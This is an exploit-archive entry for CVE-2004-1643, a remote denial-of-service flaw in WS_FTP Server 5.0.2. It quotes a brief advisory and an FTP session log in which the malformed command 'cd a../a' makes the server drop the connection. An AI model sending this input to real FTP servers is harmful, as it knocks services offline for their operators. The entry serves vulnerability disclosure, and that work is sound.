Ipswitch WS_FTP Server 5.0.x CD Command Malformed File Path Remote Denial of Service Vulnerability. CVE-2004-1643. Dos exploit for windows platform
source: http://www.securityfocus.com/bid/11065/info WS_FTP Server is reported prone to a remote denial of service vulnerability. This issue presents itself when the application processes a malformed file path through the 'cd' command. WS_FTP Server version 5.0.2 is reported prone to this issue, however, other versions may be affected as well. E:\>ftp localhost Connected to ibm. 220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167) 220-Fri Aug 27 14:12:19 2004 220-29 days remaining on evaluation. 220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167) User (ibm:(none)): ftp 331 Password required Password: 230 user logged in ftp> cd a../a Connection closed by remote host.